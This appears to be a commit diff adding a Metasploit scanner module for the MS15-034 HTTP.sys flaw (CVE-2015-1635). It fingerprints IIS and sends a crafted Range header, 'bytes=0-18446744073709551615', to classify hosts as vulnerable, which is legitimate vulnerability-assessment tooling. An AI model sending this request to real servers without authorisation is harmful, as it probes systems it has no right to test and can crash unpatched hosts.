1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+
8
+ class Metasploit3 < Msf ::Auxiliary
9
+
10
+ include Msf ::Auxiliary ::Scanner
11
+ include Msf ::Exploit ::Remote ::HttpClient
12
+
13
+ def initialize ( info = { } )
14
+ super ( update_info ( info ,
15
+ 'Name' => 'MS15-034 HTTP Protocol Stack Handling Vulnerability' ,
16
+ 'Description' => %q{
17
+ This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A
18
+ vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code
19
+ execution.
20
+ } ,
21
+ 'Author' =>
22
+ [
23
+ 'billbillthebillbill' , # He did all the work (see the pastebin code)
24
+ 'sinn3r' # MSF version of bill's work
25
+ ] ,
26
+ 'References' =>
27
+ [
28
+ [ 'CVE' , '2015-1635' ] ,
29
+ [ 'MSB' , 'MS15-034' ] ,
30
+ [ 'URL' , 'http://pastebin.com/ypURDPc4' ]
31
+ ] ,
32
+ 'License' => MSF_LICENSE
33
+ ) )
34
+
35
+ register_options (
36
+ [
37
+ OptString . new ( 'TARGETURI' , [ true , 'The base path' , '/' ] )
38
+ ] , self . class )
39
+
40
+ deregister_options ( 'RHOST' )
41
+ end
42
+
43
+ def run_host ( ip )
44
+ code = check_host ( ip )
45
+ case code
46
+ when Exploit ::CheckCode ::Vulnerable
47
+ print_good ( "#{ ip } :#{ rport } - #{ code . last } " )
48
+ else
49
+ print_status ( "#{ ip } :#{ rport } - #{ code . last } " )
50
+ end
51
+ end
52
+
53
+ def check_host ( ip )
54
+ uri = target_uri . path
55
+
56
+ res = send_request_raw ( { 'uri' => uri } )
57
+ unless res
58
+ vprint_error ( "#{ ip } :#{ rport } - Connection timed out" )
59
+ return Exploit ::CheckCode ::Unknown
60
+ end
61
+
62
+ if !res . headers [ 'Server' ] . include? ( 'Microsoft-IIS' )
63
+ vprint_error ( "#{ ip } :#{ rport } - Target isn't IIS" )
64
+ return Exploit ::CheckCode ::Safe
65
+ end
66
+
67
+ res = send_request_raw ( {
68
+ 'uri' => uri ,
69
+ 'method' => 'GET' ,
70
+ 'vhost' => 'stuff' ,
71
+ 'headers' => {
72
+ 'Range' => 'bytes=0-18446744073709551615'
73
+ }
74
+ } )
75
+ if res && res . body . include? ( 'Requested Range Not Satisfiable' )
76
+ return Exploit ::CheckCode ::Vulnerable
77
+ elsif res && res . body . include? ( 'The request has an invalid header name' )
78
+ return Exploit ::CheckCode ::Safe
79
+ else
80
+ return Exploit ::CheckCode ::Unknown
81
+ end
82
+ end
83
+
84
+ end
0 commit comments